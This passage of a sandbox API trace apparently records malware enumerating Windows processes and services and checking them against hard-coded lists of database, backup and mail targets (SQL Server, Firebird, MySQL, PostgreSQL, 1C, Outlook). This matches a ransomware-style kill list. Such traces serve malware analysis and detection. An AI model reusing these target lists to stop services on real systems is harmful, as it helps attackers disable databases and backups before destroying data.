cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0038.238] lstrlenW (lpString="vssadmin.exe") returned 12 [0038.238] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0038.238] lstrlenW (lpString="VSSVC.exe") returned 9 [0038.238] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0038.239] CloseHandle (hObject=0x19c) returned 1 [0038.239] Sleep (dwMilliseconds=0x1f4) [0038.909] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fcb0 [0038.910] EnumServicesStatusExW (in: hSCManager=0x52fcb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0038.910] GetLastError () returned 0xea [0038.910] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x123e) returned 0x3fe18a0 [0038.911] EnumServicesStatusExW (in: hSCManager=0x52fcb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fe18a0, cbBufSize=0x123e, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fe18a0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0038.911] CloseServiceHandle (hSCObject=0x52fcb0) returned 1 [0038.911] lstrlenW (lpString="Appinfo") returned 7 [0038.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.912] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.912] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.912] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.912] lstrlenW (lpString="AudioSrv") returned 8 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.912] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.912] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.912] lstrlenW (lpString="BFE") returned 3 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.912] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.912] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.912] lstrlenW (lpString="CryptSvc") returned 8 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.912] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.912] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.912] lstrlenW (lpString="CscService") returned 10 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.912] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.912] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.912] lstrlenW (lpString="DcomLaunch") returned 10 [0038.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0038.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0038.913] lstrlenW (lpString="Dhcp") returned 4 [0038.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0038.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0038.913] lstrlenW (lpString="Dnscache") returned 8 [0038.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0038.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0038.913] lstrlenW (lpString="DPS") returned 3 [0038.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0038.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0038.913] lstrlenW (lpString="eventlog") returned 8 [0038.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0038.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0038.913] lstrlenW (lpString="EventSystem") returned 11 [0038.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0038.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0038.913] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0038.913] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0038.914] lstrlenW (lpString="gpsvc") returned 5 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0038.914] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0038.914] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0038.914] lstrlenW (lpString="iphlpsvc") returned 8 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0038.914] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0038.914] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0038.914] lstrlenW (lpString="LanmanServer") returned 12 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0038.914] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0038.914] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0038.914] lstrlenW (lpString="LanmanWorkstation") returned 17 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0038.914] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0038.914] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0038.914] lstrlenW (lpString="lmhosts") returned 7 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0038.914] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0038.914] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0038.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0038.914] lstrlenW (lpString="MMCSS") returned 5 [0038.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0038.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0038.915] lstrlenW (lpString="MpsSvc") returned 6 [0038.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0038.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0038.915] lstrlenW (lpString="Netman") returned 6 [0038.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0038.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0038.915] lstrlenW (lpString="netprofm") returned 8 [0038.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0038.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0038.915] lstrlenW (lpString="NlaSvc") returned 6 [0038.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0038.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0038.915] lstrlenW (lpString="nsi") returned 3 [0038.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0038.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0038.915] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0038.915] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0038.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0038.915] lstrlenW (lpString="PcaSvc") returned 6 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0038.916] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0038.916] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0038.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0038.916] lstrlenW (lpString="PlugPlay") returned 8 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0038.916] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0038.916] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0038.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0038.916] lstrlenW (lpString="Power") returned 5 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0038.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0038.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0038.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0038.916] lstrlenW (lpString="ProfSvc") returned 7 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0038.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0038.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0038.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0038.916] lstrlenW (lpString="RpcEptMapper") returned 12 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0038.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0038.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0038.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0038.916] lstrlenW (lpString="RpcSs") returned 5 [0038.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0038.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0038.917] lstrlenW (lpString="SamSs") returned 5 [0038.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0038.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0038.917] lstrlenW (lpString="Schedule") returned 8 [0038.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0038.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0038.917] lstrlenW (lpString="SENS") returned 4 [0038.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0038.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0038.917] lstrlenW (lpString="ShellHWDetection") returned 16 [0038.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0038.917] lstrlenW (lpString="Spooler") returned 7 [0038.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0038.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0038.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0038.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0038.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0038.918] lstrlenW (lpString="SysMain") returned 7 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0038.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0038.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0038.918] lstrlenW (lpString="Themes") returned 6 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0038.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0038.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0038.918] lstrlenW (lpString="TrkWks") returned 6 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0038.918] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0038.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0038.918] lstrlenW (lpString="UxSms") returned 5 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0038.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0038.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0038.918] lstrlenW (lpString="VSS") returned 3 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0038.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0038.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0038.918] lstrlenW (lpString="WdiServiceHost") returned 14 [0038.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0038.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0038.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0038.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0038.919] lstrlenW (lpString="WdiSystemHost") returned 13 [0038.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0038.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0038.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0038.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0038.919] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0038.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0038.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0038.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0038.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0038.919] lstrlenW (lpString="Winmgmt") returned 7 [0038.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0038.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0038.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0038.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0038.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0038.919] lstrlenW (lpString="WPDBusEnum") returned 10 [0038.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0038.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0038.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0038.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0038.919] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe18a0 | out: hHeap=0x4b0000) returned 1 [0038.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0038.922] Process32FirstW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0038.922] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0038.923] lstrlenW (lpString="System") returned 6 [0038.923] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0038.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0038.923] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0038.924] lstrlenW (lpString="smss.exe") returned 8 [0038.924] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0038.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0038.924] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0038.925] lstrlenW (lpString="csrss.exe") returned 9 [0038.925] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0038.925] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0038.925] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0038.925] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0038.925] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0038.925] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0038.925] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0038.925] Process32NextW (in: hSnapshot=0x19c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0038.925] lstrlenW (lpString="wininit.exe") returned 11 [0038.925] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 